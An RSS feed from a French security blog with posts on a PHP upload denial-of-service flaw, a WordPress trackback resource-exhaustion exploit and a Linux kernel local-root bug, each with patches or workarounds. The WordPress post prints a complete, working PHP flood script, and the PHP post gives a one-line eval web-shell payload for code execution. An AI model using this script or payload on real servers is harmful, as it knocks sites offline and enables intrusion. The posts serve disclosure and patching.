<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Le blog de John Jean &#187; faille</title>
	<atom:link href="http://www.john-jean.com/blog/tag/faille/feed" rel="self" type="application/rss+xml" />
	<link>http://www.john-jean.com/blog</link>
	<description>Actualité de sécurité informatique</description>
	<lastBuildDate>Wed, 19 May 2010 09:19:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Denial of service PHP sur toutes les versions inférieures à 5.3.1</title>
		<link>http://www.john-jean.com/blog/securite-informatique/denial-of-service-php-sur-toutes-les-versions-inferieures-a-5-3-1-301</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/denial-of-service-php-sur-toutes-les-versions-inferieures-a-5-3-1-301#comments</comments>
		<pubDate>Mon, 23 Nov 2009 08:46:36 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[acunetix]]></category>
		<category><![CDATA[denial of service]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[execution de code]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[faille php]]></category>
		<category><![CDATA[fichiers temporaires]]></category>
		<category><![CDATA[locale inclusion]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/securite-informatique/denial-of-service-php-sur-toutes-les-versions-inferieures-a-5-3-1-301</guid>
		<description><![CDATA[Un advisory concernant les releases PHP antérieures à la version 5.3.1 a été publié ce vendredi. En effet, la 5.3.1 contient un patch pour un DoS ayant été reporté le 27 Octobre 2009. Le problème concerne le support de la RFC 1867 dans PHP (Formulaire d&#8217;upload HTML). &#160; &#160; Concept Lorsque l&#8217;on envoie une requête [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="logo php" align="left" src="http://www.john-jean.com/blog/wp-content/uploads/2009/11/logo_php.gif" width="165" height="124" />Un advisory concernant les releases PHP antérieures à la version 5.3.1 a été publié ce vendredi. En effet, la 5.3.1 contient un patch pour un DoS ayant été reporté le 27 Octobre 2009. Le problème concerne le support de la <a href="http://www.ietf.org/rfc/rfc1867.txt" target="_blank">RFC 1867</a> dans PHP (Formulaire d&#8217;upload HTML).</p>
<p><span id="more-301"></span>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><strong>Concept</strong></p>
<p>Lorsque l&#8217;on envoie une requête POST à un script PHP avec le content-type &laquo;&nbsp;multipart/form-data&nbsp;&raquo; et que l&#8217;on inclut une liste de fichiers dans cette requête, PHP crée un fichier temporaire pour chaque fichier de la requête. PHP crée ces fichiers sans même regarder si le script supporte l&#8217;upload de fichiers. Après l&#8217;exécution du script, les fichiers temporaires sont normalement effacés.</p>
<p>Le problème vient donc du fait que si vous incluez un très grand nombre de fichiers dans la requête, PHP a besoin de créer ces fichiers avant l&#8217;exécution du script et donc la suppression qui devrait en découler.</p>
<p>Le denial of service apparait lorsque l&#8217;on crée bons nombres de requêtes (ca rappelle vaguement la <a title="faille wordpress" href="http://www.john-jean.com/blog/securite-informatique/wordpress-exhaustion-exploit-dans-toutes-les-versions-de-wordpress-254" target="_blank">faille wordpress</a>, et la plupart des <a href="http://fr.wikipedia.org/wiki/Attaque_par_d%C3%A9ni_de_service" target="_blank">DoS</a> bien entendu), et que chaque requête contient beaucoup de fichiers à traiter (+15000).</p>
<p>Lorsque vous envoyez cette requête au serveur web, il s&#8217;écroule et cesse de répondre car il doit processer un énorme nombre de fichiers (création / suppression) dans un très court délai.</p>
<p>N&#8217;importe quel site tournant sous PHP et où l&#8217;upload de fichier est activé (configuration par défaut) est vulnérable. Il n&#8217;est pas nécessaire d&#8217;avoir un formulaire d&#8217;upload pour exécuter l&#8217;exploit. Cette faille est donc critique. J&#8217;ai d&#8217;ailleurs lu dans mes RSS d&#8217;hier qu&#8217;<a href="http://www.ovh.com" target="_blank">OVH</a> organisait une patch party cette nuit, je suppose que c&#8217;est pour protéger ses mutualisés de cette faille.</p>
<p>PHP intègre deux paramètres de configuration qui ont attrait à l&#8217;upload:<br />
<code><br />
upload_max_filesize<br />
post_max_size<br /></code><br />
Cependant, ces deux paramètres ne sont pas suffisants pour enrayer ce DoS.</p>
<p>&nbsp;</p>
<p><strong>Notions d&#8217;enrayement</strong></p>
<p>Trois workarounds sont proposés concernant cette faille:</p>
<ul>
<li><span style="TEXT-DECORATION: underline">Désactiver l&#8217;upload de fichier<br /></span>Si vous n&#8217;avez pas besoin d&#8217;uploader des fichiers sur votre dédié, vous pouvez donc désactiver cette fonctionnalité.<br />
file_uploads = Off dans le php.ini</li>
</ul>
<p>&nbsp;</p>
<ul>
<li><span style="TEXT-DECORATION: underline">Installer PHP 5.3.1<br /></span>Si vous ne pouvez pas désactiver l&#8217;upload de fichiers, alors il convient d&#8217;upgrader PHP à la version 5.3.1.
<p>Cette nouvelle version intègre un patch pour la faille:<br />
En effet; max_file_uploads a été ajouté et permet de définir le nombre maximum de fichiers à processer à la fois (limité à 20 par défaut) afin d&#8217;enrayer les possibilités de DoS par trop grand nombre de fichiers temporaires.</li>
</ul>
<p>&nbsp;</p>
<ul>
<li><span style="TEXT-DECORATION: underline">Installer Suhosin PHP Extension /!\<br /></span>L&#8217;extension Suhosin possède une option nommée &laquo;&nbsp;suhosin.upload.max_uploads&nbsp;&raquo;. Cette option définit le nombre maximum de fichiers qui peuvent être uploadés par requête, définit par défaut à 25.<br />
/!\Suhoshin PHP extension ne doit pas être confondu avec Suhosin patch qui ne protège pas de cette attaque mais est assez largement déployé sur les serveurs de productions.</li>
</ul>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>
<strong>Tests dans des environnements de production</strong></p>
<ul>
<li style="LIST-STYLE-TYPE: none"></li>
<li><span style="TEXT-DECORATION: underline">PHP on Linux (Ubuntu 8.10) / PHP Version 5.2.6-2ubuntu4.3</span></li>
</ul>
<p>
<code><br />
Timeline:<br />
14:50 – started the attack<br />
14:51 : web server is no longer responsive.<br />
load average: 102.02, 30.68, 10.68<br />
14:52 : web server is not responsive.<br />
load average: 129.95, 49.29, 18.05<br />
14:52 – attack is aborted<br />
14:53 – web server is not responsive.<br />
load average: 143.58, 67.90, 26.41<br />
14:54 – web server is not responsive.<br />
load average: 149.60, 89.58, 37.93<br />
16:05 – web server is not responsive.<br />
load average: 151.64, 120.91, 60.94<br /></code></p>
<p>Vérification du nombre de fichiers temporaires crée par l&#8217;auteur:<br />
<code><br />
$ls -la /tmp/php* | wc -l<br />
-bash: /bin/ls: Argument list too long<br />
0<br /></code><br />
Création d&#8217;un fichier pour compter le nombre de fichiers crées:<br />
<code><br />
$php count_files_from_dir.php /tmp/php*<br />
2.419.649<br /></code><br />
Donc une heure après, le serveur ne répond toujours pas et 2.419.649 fichiers temporaires ont été crées.</p>
<p>&nbsp;</p>
<p>Si l&#8217;on redémarre le serveur, ces fichiers ne sont pas effacés.</p>
<ul>
<li style="LIST-STYLE-TYPE: none"></li>
<li><span style="TEXT-DECORATION: underline">PHP on FreeBSD 7.2 / PHP Version 5.2.9</span></li>
</ul>
<p>
<code><br />
Timeline:<br />
14:00 – attack is started.<br />
14:01 – web server is no longer responsive (Chrome message: Error 101 (net::ERR_CONNECTION_RESET): Unknown error.))<br />
load average: 87:22, 22.61, 9.9<br />
14:02 – attack is aborted.<br />
14:06 – web server is no longer responsive.<br />
load averages: 45.42, 42.35, 22.59<br />
14:11 – web server is not responsive.<br />
load averages: 26.77, 35.78, 23.49<br />
The system is slowed down to a crawl.<br />
Basically you cannot even write a command in a remote PUTTY session.<br />
14:17 – web server is not responsive.<br />
The console is continuously displaying kernel error messages like:<br />
swap_pager_getswapspace(2): failed<br />
swap_pager_getswapspace(16): failed<br />
swap_pager_getswapspace(3): failed<br />
…<br />
pid 61248 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61251 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61146 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61103 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61103 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61063 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61101 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
…<br />
14:23 – web server is responsive.<br />
load averages: 0.79, 29.10, 37.13</code> </p>
<p>&nbsp;</p>
<p>Même chose lorsque l&#8217;auteur tente de compter les fichiers temporaires:<br />
<code><br />
$ls -la /var/tmp/php* | wc -l<br />
-bash: /bin/ls: Argument list too long<br />
0<br />
$ls -la /var/tmp/php<br />
Display all 117490 possibilities? (y or n)<br /></code><br />
Donc nous avons 117490 fichiers temporaires sur le serveur.</p>
<ul>
<li style="LIST-STYLE-TYPE: none"></li>
<li><span style="TEXT-DECORATION: underline">PHP on Windows: XAMPP / XAMPP for Windows setup filename: xampp-win32-1.7.2.exe / PHP Version 5.3.0</span></li>
</ul>
<p>
<code><br />
Timeline:<br />
12:30 – started the attack<br />
12:30 + few seconds: CPU usage =&gt; 100%<br /></code></p>
<p>En quelques secondes, le serveur ne répond plus, 65535 fichiers temporaires sont crés et aucun autre ne peut être crée.</p>
<p>&nbsp;</p>
<p>Sur XAMPP pour Windows, PHP crée les fichiers temporaires dans C:\xampp\tmp (si votre installation est dans C:\xampp\)<br />
Les fichiers sont appelés phpXXXX.tmp (Où X’s charset est ‘a’-&#8217;z’, ‘A’-&#8217;Z’, ‘0&#8242;-’9&#8242;).<br />
Exemple: php1A00.tmp<br />
<code><br />
12:31 – attack is aborted<br />
12:39 – CPU usage is still 100%, web server is not responsive.<br />
13:08 – CPU usage is still 100%, web server is responsive.<br />
14:08 – CPU usage is 97%<br />
14:34 – CPU usage is 97%<br /></code><br />
Deux heures plus tard l&#8217;utilisation du CPU n&#8217;est pas revenue à la normale. Cependant le serveur web répond à nouveau. Après un redémarrage du serveur, l&#8217;utilisation du CPU redevient normale. Cependant les 65535 fichiers temporaires ne sont pas effacés.</p>
<ul>
<li style="LIST-STYLE-TYPE: none"></li>
<li><span style="TEXT-DECORATION: underline">PHP on OpenBSD 4.6 / PHP Version 5.2.10</span></li>
</ul>
<p>
<code><br />
Timeline:<br />
12:00 – started the attack<br />
12:00 + few seconds: CPU usage =&gt; 100%<br />
12:01 – attack is aborted<br />
12:01 – web server is no longer responsive.<br />
load averages: 120.42, 50.35, 20.59<br />
12:04 – web server is no longer responsive.<br />
load averages: 147.17, 80.74, 36.46<br />
The system is slowed down to a crawl.<br />
12:06 – web server is responsive.<br />
load averages: 122.59, 96.03, 48.31<br /></code></p>
<p>A ce point le serveur web est ralenti mais continue à servir les pages<br />
<code><br />
12:07 – web server is responsive.<br />
load averages: 63.67, 85.01, 47.26<br />
12:10 – web server is responsive.<br />
load averages: 6.56, 52.75, 40.03<br />
12:12 – web server is responsive.<br />
load averages: 0.55, 16.36, 26.50<br /></code><br />
Le système est revenu à la normale.</p>
<p>&nbsp;</p>
<p>OpenBSD gère très bien ce type d&#8217;attaque, les effets n&#8217;ont durés que quelques minutes.</p>
<p>Pourquoi cela ? Grace à Suhosin PHP extension. OpenBSD a cette extension activée par défaut.</p>
<p>&nbsp;</p>
<p><strong>Exploitation</strong></p>
<p>Dans certains cas, cette attaque peut se transformer une inclusion locale et donc en exécution de code distant. La plupart des OS n&#8217;effacent pas les fichiers temporaires crée, même après redémarrage du serveur web. De fait un grand nombre de fichiers temporaires sont laissés dans le répertoire temporaire (habituellement /tmp sur les systèmes unix). On peut donc tenter de deviner le nom de l&#8217;un de ces fichiers et de l&#8217;inclure.</p>
<p>Pour que cela fonctionne, tous les fichiers uploadés doivent contenir le code php suivant: &lt;?php eval($_REQUEST[x]); ?&gt;.</p>
<p>Sur les système tournant sous Windows, seulement quatre caractères sont utilisés pour générer les fichiers temporaires (phpXXXX.tmp). Une fois que le serveur répond à nouveau, il y a 65 535 fichiers dans le repertoire temporaire. Il est donc possible de deviner facilement le nom de l&#8217;un de ces fichiers et de l&#8217;inclure.</p>
<p>Sur unix, 6 caractères sont utilisés pour gérer les fichiers temporaires, il est donc impossible de deviner le nom de ceux-ci. Ou alors, cela prendra beaucoup de temps. L&#8217;auteur a tenté cette méthode sur un serveur ayant généré 800 000 fichiers temporaires. Après cinq minutes de tentative, il a réussi à deviner le nom d&#8217;un fichier et à exécuter du PHP.</p>
<p>Le script python permettant de générer l&#8217;attaque n&#8217;a pas été publié. Enfin, pas par l&#8217;auteur en tout cas. Cela se comprend aisément, du fait des conditions réunis: PHP largement déployé, pas besoin de formulaire d&#8217;upload, upload activé par défaut, seulement la dernière version corrige la faille, extension Suhosin non déployée par défaut sauf sur OpenBSD, de quoi faire tomber 70% des serveurs de la planète.</p>
<p>Mettez rapidement à jour vos serveurs. Un script doit déjà assez largement être distribué.</p>
<p>&nbsp;</p>
<p><strong>Références</strong></p>
<p>L&#8217;équipe d&#8217;<a href="http://www.acunetix.com" target="_blank">Acunetix</a> essentiellement connue pour son <a href="http://www.acunetix.com/vulnerability-scanner/" target="_blank">scanner de failles web</a>; devenu d&#8217;ailleurs entre temps un scanner de port, un soft d&#8217;exploitation d&#8217;injection SQL, un forgeur de packet HTTP et j&#8217;en passe; a averti l&#8217;équipe PHP le 27 octobre. L&#8217;auteur de cette découverte est <strong>bogdan</strong> de l&#8217;équipe Acunetix<strong>.</strong> On notera d&#8217;ailleurs avec intérêt qu&#8217;Acunetix n&#8217;a pas sorti l&#8217;adviso trois jours après avoir contacté le vendor; suivez mon regard :-)</p>
<p>&nbsp;</p>
<p><strong>Correction rapide</strong></p>
<p>On vient de patcher quelques serveurs, la version 5.3.1 a pas été poussée dans les dépots officiels, on a donc installé suhosin qui lui y est:<br />
apt-get install php5-suhosin<br />
(<a href="http://packages.debian.org/lenny/php5-suhosin">http://packages.debian.org/lenny/php5-suhosin</a>)</p>
<p>La configuration se passe dans /etc/php5/apache2/conf.d</p>
<p>
suhosin.upload.max_uploads<br />
Type: Integer<br />
Default: 25<br />
Defines the maximum number of files that may be uploaded with one request.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/denial-of-service-php-sur-toutes-les-versions-inferieures-a-5-3-1-301/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WordPress Ressource Exhaustion Exploit dans toutes les versions de WordPress</title>
		<link>http://www.john-jean.com/blog/securite-informatique/wordpress-exhaustion-exploit-dans-toutes-les-versions-de-wordpress-254</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/wordpress-exhaustion-exploit-dans-toutes-les-versions-de-wordpress-254#comments</comments>
		<pubDate>Mon, 19 Oct 2009 22:29:41 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[ddos]]></category>
		<category><![CDATA[exhaustion]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[resource]]></category>
		<category><![CDATA[ressource]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wordpress resource exhaustion]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/divers/wordpress-exhaustion-exploit-dans-toutes-les-versions-de-wordpress-254</guid>
		<description><![CDATA[36. C&#8217;est le nombre de lignes de PHP contenues dans l&#8217;exploit que je viens de tester avec intérêt. 4. C&#8217;est le nombre de serveurs contenus dans un cluster au boulot et qui viennent tous de cesser de répondre pendant que je testais cet exploit. Démentiel. 01h25, c&#8217;est l&#8217;heure à laquelle j&#8217;écris ce billet: vous m&#8217;excuserez [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.john-jean.com/blog/wp-content/uploads/2009/10/icon2_rss.png" alt="icon2 rss" width="165" height="152" align="left" />36. C&#8217;est le nombre de lignes de PHP contenues dans l&#8217;exploit que je viens de tester avec intérêt.</p>
<p>4. C&#8217;est le nombre de serveurs contenus dans un cluster au boulot et qui viennent tous de cesser de répondre pendant que je testais cet exploit. Démentiel.</p>
<p>01h25, c&#8217;est l&#8217;heure à laquelle j&#8217;écris ce billet: vous m&#8217;excuserez donc pour les fautes d&#8217;orthographes du billet cet article c&#8217;est un peu une &laquo;&nbsp;Breaking News&nbsp;&raquo;.</p>
<p><span id="more-254"></span></p>
<p>Aujourd&#8217;hui a donc été release un &laquo;&nbsp;WordPress Exhaustion Exploit&nbsp;&raquo;, c&#8217;est une appellation relativement savante pour dire que ca peut faire sauter les services d&#8217;un serveur en 36 lignes de code. Je viens de le tester sur l&#8217;un de mes serveurs perso, en 10 secondes mysql a cessé de répondre et n&#8217;est pas revenu de lui même. TOUTES les versions de WordPress sont faillibles.</p>
<p>L&#8217;attaque en elle-même est relativement simple, elle concerne les trackbacks. wp-trackback.php permet de gérer les rétro-liens, c&#8217;est à dire que si Blog B fait référence à un article de Blog A, alors un lien de Blog B apparaitra sur Blog A dans la partie des commentaires.</p>
<p>La faille en elle-même c&#8217;est quoi ? Elle se situe au niveau de la gestion de l&#8217;encodage du titre.</p>
<p><code>if ( function_exists(’mb_convert_encoding’) ) { // For international trackbacks<br />
$title = mb_convert_encoding($title, get_option(’blog_charset’), $charset);<br />
$excerpt = mb_convert_encoding($excerpt, get_option(’blog_charset’), $charset);<br />
$blog_name = mb_convert_encoding($blog_name, get_option(’blog_charset’), $charset);<br />
}<br />
</code></p>
<p>En gros, il faut savoir que mb_convert_encoding est une fonction qui permet de transformer une chaine encodée en X vers une chaine encodée en Y. Cette fonction prend trois paramètres:</p>
<p><code>mb_convert_encoding(chaine_que_l'on_veut_convertir, nouveau_charset, charset_d_origine)</code></p>
<p>Dans charset_d_origine on peut spécifier plusieurs charsets. Si l&#8217;on en met plusieurs, la fonction va chercher quel charset correspond à la chaine. Elle va donc tester chacun des charsets passés en argument puis décider quel est le meilleur. Une fois qu&#8217;elle a trouvé le meilleur, elle va transformer chaine_que_l&#8217;on_veut_convertir en nouveau_charset.</p>
<p>Pour exploiter cette faiblesse dans notre faille, on va passer une chaine de 140 000 octets (soit 140 000 caractères) et on lui indique qu&#8217;il y a 23 333 charsets d&#8217;origine possible (&laquo;&nbsp;UTF-8,&nbsp;&raquo; fait 6 caractères, si on a 140 000 octets, on a 140 000/6 = 23 333.333). De fait, la fonction va parcourir 23 333 fois la chaine chaine_que_l&#8217;on_veut_convertir, et parcourir 23 333 cette chaine, ca sollicite le serveur, bien entendu :). Si l&#8217;on envoie la requête une fois, le serveur la traite, maintenant si on répète l&#8217;opération sur un délai très court le serveur apprécie moins. C&#8217;est bien entendu précisément ce que fait le script en utilisant fork qui divise en plusieurs processus et une boucle qui relance le processus initial une fois terminé.</p>
<pre name="code" class="php">
&lt;?
if(count($argv) &lt; 2)
die("You need to specify a url to attack\n");
$url = $argv[1];
$data = parse_url($url);
if(count($data) &lt; 2)
die("The url should have http:// in front of it, and should be complete.\n");
$path = (count($data)==2)?"":$data['path'];
$path = trim($path,'/').'/wp-trackback.php';
if($path{0} != '/')
$path = '/'.$path;
$b = ""; $b = str_pad($b,140000,'ABCEDFG').utf8_encode($b);
$charset = "";
$charset = str_pad($charset,140000,"UTF-8,");
$str = 'charset='.urlencode($charset);
$str .= '&amp;url=www.example.com';
$str .= '&amp;title='.$b;
$str .= '&amp;blog_name=lol';
$str .= '&amp;excerpt=lol';
for($n = 0; $n &lt;= 5; $n++){
$fp = @fsockopen($data['host'],80);
if(!$fp)
die("unable to connect to: ".$data['host']."\n");
$pid[$n] = pcntl_fork();
if(!$pid[$n]){
fputs($fp, "POST $path HTTP/1.1\r\n");
fputs($fp, "Host: ".$data['host']."\r\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp, "Content-length: ".strlen($str)."\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fputs($fp, $str."\r\n\r\n");
echo "hit!\n";
}
}
?&gt;</pre>
<p>Pour l&#8217;enrayer inutile de désactiver les trackbacks car tout se passe avant. Il faut aller dans wp-trackback.php et trouver la ligne:</p>
<p><code>$charset = $_POST['charset'];</code></p>
<p>et la remplacer par:</p>
<p><code>$charset = str_replace(”,”,”",$_POST['charset']);<br />
if(is_array($charset)) { exit; }</code></p>
<p>Ce patch permet d&#8217;enlever les virgules, du coup le script n&#8217;a plus à tester les 23 333 charset_d_origine, mais un seul, inexistant. L&#8217;autre façon de passer un charset_d_origine à la fonction c&#8217;est un tableau, là on va pas faire dans la dentelle, si c&#8217;est un tableau, on exit.</p>
<p>Sinon vous pouvez toujours deny from all wp-trackback.php ;-)</p>
<p>L&#8217;exploit a été posté sur Full-Disclosure aujourd&#8217;hui à 14h30. Il semble avoir été découvert par <a href="http://rooibo.wordpress.com/" target="_blank">rooibo</a> et amélioré par <a href="http://blog.zerial.org" target="_blank">Zerial</a>. Ce n&#8217;est vraiment pas impossible que d&#8217;ici quelques jours de joyeux lurons s&#8217;amusent à attaquer les WordPress des bloggeurs &laquo;&nbsp;influents&nbsp;&raquo; les plus connus. Rooibo explique sur son blog qu&#8217;il a avertit l&#8217;équipe WordPress et que leur proposition de correctif ne lui a pas semblé viable.</p>
<p>Le correctif proposé est celui de roobio, je pense qu&#8217;il est préférable de tester le tableau en premier et de faire le str_replace ensuite car je crois qu&#8217;un str_replace sur un array conduit à du path disclosure.</p>
<p><strong>Rapide update: WordPress vient de release la version 2.8.5.</strong></p>
<p>Voici le diff sur le fichier qui nous intéresse:<br />
<code>john@john-laptop:~/Bureau$ diff -urN wordpress-2.8.4/ wordpress-2.8.5/ > diff.diff<br />
diff -urN wordpress-2.8.4/wp-trackback.php wordpress-2.8.5/wp-trackback.php<br />
--- wordpress-2.8.4/wp-trackback.php	2008-05-25 17:50:15.000000000 +0200<br />
+++ wordpress-2.8.5/wp-trackback.php	2009-10-19 17:10:59.000000000 +0200<br />
@@ -50,7 +50,7 @@<br />
 $blog_name = stripslashes($_POST['blog_name']);</code><br />
 <code><br />
 if ($charset)<br />
-	$charset = strtoupper( trim($charset) );<br />
+	$charset = str_replace( array(',', ' '), '', strtoupper( trim($charset) ) );<br />
 else<br />
 	$charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';<br />
 </code></p>
<p>Sinon j&#8217;ai fait le diff complet ici, car je ne trouve pas l&#8217;officiel chez WordPress: <a href="http://www.john-jean.com/blog/diffw84w85.diff" rel="nofollow">diff WordPress-2.8.4 WordPress 2.8.5</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/wordpress-exhaustion-exploit-dans-toutes-les-versions-de-wordpress-254/feed</wfw:commentRss>
		<slash:comments>29</slash:comments>
		</item>
		<item>
		<title>Linux NULL pointer dereference due to incorrect proto_ops initializations, Cocorico !</title>
		<link>http://www.john-jean.com/blog/securite-informatique/linux-null-pointer-dereference-due-to-incorrect-proto_ops-initializations-cocorico-216</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/linux-null-pointer-dereference-due-to-incorrect-proto_ops-initializations-cocorico-216#comments</comments>
		<pubDate>Sun, 16 Aug 2009 02:21:04 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sysadmin]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[deference]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[grsecurity]]></category>
		<category><![CDATA[hole]]></category>
		<category><![CDATA[IPv6]]></category>
		<category><![CDATA[julien tinnes]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[linus torvalds]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[null]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/divers/linux-null-pointer-dereference-due-to-incorrect-proto_ops-initializations-cocorico-216</guid>
		<description><![CDATA[Voici une faille sortie il y a maintenant trois jours (pas eu le temps de blogger le jour même) qui va assez facilement alimenter les propos de news0ft. Il expliquait avec intellect la fuite des cerveaux Français en matière de sécurité informatique pour des causes diverses et variées que je vous laisse découvrir dans l&#8217;article. [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="coq2" align="left" src="http://www.john-jean.com/blog/wp-content/uploads/2009/08/coq2.gif" width="160" height="155" />Voici une faille sortie il y a maintenant trois jours (pas eu le temps de blogger le jour même) qui va assez facilement alimenter les <a title="Echec de la sécurité francaise" href="http://news0ft.blogspot.com/2009/07/lechec-de-la-securite-francaise.html">propos</a> de <a href="http://news0ft.blogspot.com">news0ft</a>. Il expliquait avec intellect la fuite des cerveaux Français en matière de sécurité informatique pour des causes diverses et variées que je vous laisse découvrir dans <a title="Echec de sécurité Francaise" href="http://news0ft.blogspot.com/2009/07/lechec-de-la-securite-francaise.html">l&#8217;article</a>. Il cite en dehors de Kostya Kortchinsky, Nicolas Pouvesle, <a href="http://www.msuiche.net">Matthieu Suiche</a> , Nicolas Brulez, un certain Julien Tinnès :-) Et il s&#8217;avère que ce Julien Tinnès est l&#8217;un des co-découvreur de cette faille qui risque de bien dépanner quelques l33t hax0r, et de ravir tous les pen-testeurs de la planète au grand désespoir de leurs clients.</p>
<p><span id="more-216"></span>
<p>Cette faille permet depuis un simple compte utilisateur de passer root. Et la mauvaise nouvelle c&#8217;est que cela affecte la plupart des kernels supportant IPv6 (bon ca c&#8217;est la version édulcorée, en vrai c&#8217;est le protocole qui gère Bluetooth, PPPoX, IRDA et autres joyeusetés); c&#8217;est à dire:</p>
<p>- Linux 2.4, de 2.4.4 jusqu&#8217;à 2.4.37.4 compris.<br />
- Linux 2.6, de 2.6.0 jusqu&#8217;à 2.6.30.4 compris.</p>
<p>C&#8217;est donc un monstre de dangerosité. Inutile de se lancer dans des élucubrations sur la faille en elle même, elle est bien évidemment largement documentée par ses auteurs: <a href="http://archives.neohapsis.com/archives/fulldisclosure/2009-08/0174.html">http://archives.neohapsis.com/archives/fulldisclosure/2009-08/0174.html</a> ou surtout <a href="http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html">le blog de julien</a> (qui doit voir son PR exploser).</p>
<p>- return sock-&gt;ops-&gt;sendpage(sock, page, offset, size, flags);<br />
+ return kernel_sendpage(sock, page, offset, size, flags);</p>
<p>Cette ligne suffit à corriger la faille dans le kernel, patchée d&#8217;ailleurs par Sieur Torvalds himself. Le patch <a title="Patch Linus Torvalds" href="http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=e694958388c50148389b0e9b9e9e8945cf0f1b98">est ici</a>.</p>
<p><img alt="bleh" align="left" src="http://www.john-jean.com/blog/wp-content/uploads/2009/08/bleh-1.png" width="450" height="281" /></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Cette faille provoque bien évidemment une patch party chez les hébergeurs sérieux ayant avertis leurs clients. Par exemple OVH a avertis par mailing mais également sur le <a href="http://forum.ovh.com/showthread.php?t=50120">forum</a>. Ils mettent à disposition une version recompilée du noyau sur <a href="ftp://ftp.ovh.net/made-in-ovh/bzImage/">ftp://ftp.ovh.net/made-in-ovh/bzImage/</a>.</p>
<p>Je vous encourage vivement à mettre à jour vos systèmes. L&#8217;exploit est en effet disponible sur <a href="http://www.milw0rm.com/exploits/9435">milw0rm,</a> <a href="http://www.milw0rm.com/exploits/9436">[2]</a>. Enfin dernière chose amusante, l&#8217;auteur du premier exploit est <a href="http://fr.wikipedia.org/wiki/Brad_Spengler">Brad Spengler</a>, oui oui l&#8217;auteur de Grsecurity (Un patch qui permet d&#8217;ajouter des fonctions de sécurité au kernel). D&#8217;ailleurs les kernels tournant avec GRS ne sont pas faillibles :-) Pied de nez aux personnes n&#8217;étant pas disposées à réduire un peu les performances pour améliorer la sécurité de leurs serveurs.</p>
<p>Juste pour information sur mon introduction, <a href="http://blog.cr0.org/">Julien Tinnes</a> n&#8217;est pas à son premier <a href="http://blog.cr0.org/2009/07/old-school-local-root-vulnerability-in.html">coup d&#8217;essai</a>, <a href="http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html">[2]</a>, <a href="http://blog.cr0.org/2009/05/write-once-own-everyone.html">[3 !]</a>. Il travaille désormais chez Google comme Ingénieur Securité après avoir fait un passage chez Orange Labs. Décidément pas de chaussure au pieds des ingés sécurité en France ?</p>
<p>Sur ce, bonne lecture et bon tests.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/linux-null-pointer-dereference-due-to-incorrect-proto_ops-initializations-cocorico-216/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Non je ne suis pas mort. Pas encore en tout cas :)</title>
		<link>http://www.john-jean.com/blog/securite-informatique/non-je-ne-suis-pas-mort-pas-encore-en-tout-cas-195</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/non-je-ne-suis-pas-mort-pas-encore-en-tout-cas-195#comments</comments>
		<pubDate>Sat, 18 Jul 2009 07:47:01 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[faille]]></category>
